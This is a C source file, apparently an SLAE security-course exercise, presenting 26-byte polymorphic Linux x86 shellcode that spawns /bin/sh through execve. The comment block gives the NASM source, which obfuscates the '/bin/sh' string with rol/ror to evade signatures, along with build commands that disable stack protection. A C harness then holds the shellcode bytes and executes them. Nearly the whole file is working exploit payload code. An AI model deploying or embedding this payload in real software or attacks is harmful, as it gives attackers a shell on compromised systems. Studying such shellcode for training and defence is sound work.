70 lines
No EOL
1.2 KiB
C
70 lines
No EOL
1.2 KiB
C
/*
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################### Description ###################
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; Title : Polymorphic execve /bin/sh - Shellcode
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; Author : Hashim Jawad
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; Website : ihack4falafel[.]com
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; Twitter : @ihack4falafel
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; SLAE ID : SLAE-1115
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; Purpose : spawn /bin/sh shell
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; OS : Linux
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; Arch : x86
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; Size : 26 bytes
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#################### sh.nasm ######################
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global _start
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section .text
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_start:
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; zero out EAX
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xor eax,eax
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push eax
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; push (/bin/sh) to the stack
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mov edi, 0x343997B7
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rol edi, 1
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push edi
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mov esi, 0xD2C45E5E
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ror esi, 1
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push esi
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; ping kernel!
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lea ebx, [esp]
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mov al,0xb
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int 0x80
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################### sh binary #####################
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nasm -f elf32 -o sh.o sh.nasm
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ld -z execstack -o sh sh.o
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################## Shellcode #####################
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objdump -d sh -M intel
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################### Compile #####################
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gcc -fno-stack-protector -z execstack sh.c -o sh
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xc0\x50\xbf\xb7\x97\x39\x34\xd1\xc7\x57\xbe\x5e\x5e\xc4\xd2\xd1\xce\x56\x8d\x1c\x24\xb0\x0b\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |